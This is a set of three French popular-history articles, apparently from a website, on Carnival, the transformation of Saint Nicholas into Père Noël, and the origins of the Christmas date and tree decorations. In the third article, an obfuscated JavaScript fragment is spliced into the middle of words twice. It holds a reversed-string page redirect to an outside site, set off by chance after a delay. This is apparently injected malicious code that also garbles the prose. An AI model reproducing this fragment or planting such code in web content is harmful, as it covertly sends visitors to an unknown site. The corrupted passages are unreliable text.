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L’histoire du Carnaval

Le Carnaval est un événement festif lié au carême. C’est une période de divertissement pendant laquelle l’ordre établi et la distribution des rôles sont renversés. Le riche devient pauvre et le mendiant est sacré Roi du Carnaval. Chacun se cache derrière son masque ou son maquillage pour faire ce qui est interdit en temps normal.Le Carnaval précède le Mercredi des Cendres et le Carême. Il commence le jour de l’Épiphanie, Jour des Rois, et se termine le jour de Mardi-gras veille du Mercredi des Cendres. Le point culminant est le jour du Mardi-gras.
Depuis le Moyen-Age
Dans un premier temps, l’Église condamna les manifestations carnavalesques héritées des saturnales romaines, puis ne pouvant s’y opposer, elle les récupéra.
Les déguisements de Carnaval permettaient non seulement de s’amuser, mais aussi de transgresser les interdits de l’ordre social.
Les plus célèbres dans le monde
Les Carnavals les plus célèbres sont le Carnaval de Rio durant lequel défilent les élèves des écoles de samba, Le Carnaval de Venise où les participants rivalisent d’élégance et masquent leur visage, le Carnaval de Dunkerque où la foule brandit des parapluies tout en dansant et chantant. Citons aussi le Carnaval de Québec où la glace et la neige sont à l’honneur.
Les spécialités de Carnaval
En France, la tradition veut que l’on déguste de délicieux beignets sucrés même si les crêpes conservent de nombreux adeptes…

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La véritable (et belle) histoire du Père Noël

Accueilli à bras ouverts dans les foyers en cette période de fête, le Père Noël reste un personnage au passé trouble.

Et si le Père Noël était un usurpateur ? Le bonhomme joufflu, tout de rouge vêtu, n’a pas toujours affiché l’allure débonnaire qu’on lui connaît. A l’origine, au Xe siècle, il se fait appeler Saint Nicolas et traîne, juché sur un âne, sa houppelande verte, sa mitre et sa crosse. Fêté essentiellement dans les pays nordiques, le 6 décembre, il passe de maison en maison accompagné du Père Fouettard. Tous deux distribuent différentes friands pains d’épices représentant le Saint évêque, et réservent les coups de trique et les oignons aux chenapans.

C’est au XVIIe siècle que commence sa métamorphose, lorsque les premiers immigrants Allemands s’installent aux Etats-Unis. Il troque alors son patronyme pour celui de Santa Claus et se débarrasse de son encombrant compagnon. Peu à peu, sa physionomie s’adoucit jusqu’à apparaître pour la première fois en 1863, ventru, jovial et paré d’un costume garni de fourrure blanche, ceinturé de noir, dans les pages de l’hebdomadaire « Harper’s Illustrated weekly ».

De la légende au personnage publicitaire
Vers 1850, alors que paraissent « Les livres de Noël » de Charles Dickens, les Anglais décident de repousser sa célébration à la nuit du 24 au 25 décembre. Mais il faut attendre 1931 et une publicité de Coca Cola à destination des enfants, pour que le bonhomme prenne son allure définitive. Affublé d’un traîneau tiré par des rennes, il sirote une bouteille de la fameuse boisson au goulot, histoire de prendre des forces avant la distribution de cadeaux. L’illustrateur, Haddon Sundblom, pousse alors le trait jusqu’à l’habiller aux couleurs de la marque : rouge et blanc, des couleurs parfois utilisées auparavant mais qui seront popularisé par cette publicité. Cette nouvelle renommée le hisse au stade de héros volant la vedette au petit Jésus, au grand dam des catholiques.

Les Français, qui s’échangent depuis longtemps des petits cadeaux pour célébrer la naissance du Christ, résistent longtemps à la mode du Père Noël. Mais l’après-guerre et l’arrivée du plan Marshall et du Coca-Cola, ont raison des plus fervents défenseurs de la tradition chrétienne. Au point qu’en 1962, le ministre des PTT (Poste, télégraphe et téléphone) est contraint de créer son secrétariat officiel pour répondre aux nombreuses lettres des enfants sages. Une soixantaine d’assistantes de notre bedonnant héros sont d’ailleurs actuellement à pied d’oeuvre pour répondre à toutes les lettres écrites par les enfants. L’histoire raconte que c’est la propre sœur du ministre qui répondit aux premières missives, elle ne dit pas en revanche si elle inspira un personnage encore sous exploité, la Mère Noël.

Delphine Sampic-Berger
metronews.fr

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A propos de Noël …

Pourquoi le 25 décembre ?
A l’origine, ce qui est devenu Noël était une fête romaine, les Saturnales, qui duraient du 17 au 24 décembre. Elles honoraient Saturne, dieu des semailles et de l’agriculture. Une journée était réservée aux enfants, une autre était le jour de la liberté où les maîtres obéissaient aux esclaves.
Le dernier jour, le 24 décembre, les romains célébraient le solstice d’hiver (à partir de 325, le nouveau calendrier Julien ramena le solstice d’hiver le 21 décembre, ce qui est tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toujours le cas aujourd’hui).
Quand l’Eglise catholique eut à définir une date anniversaire célébrant la naissance de Jésus Christ, il y eut une grosse contreverse : certains proposèrent le 18 avril, moins 7 ans avant Jésus Christ, d’autres le 25 mars ou le 6 janvier… le Pape de l’époque décida que ce serait le 25 décembre à 0 heure, pile à la place du solstice d’hiver !
Pourquoi décore-t-on nos sapins ?
Des offrandes faites aux dieux, telle est la véritable origine des décorations du sapin de Noël car avant, on les pendait aux branches d’arbres. La tradition consistait, notamment dans l’est de la France, à accrocher des fleurs et des fruits, surtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout des pommes, sur un sapin. Mais en 1858, à cause d’une grande sécheresse, survint une pénurie de fruits. Un souffleur de verre d’un village de la Moselle, Goetzenbruck, proposa de remplacer les pommes par des boules de verre. Cette exception devint coutume et se répandit dans le monde entier à la fin du XIXème siècle.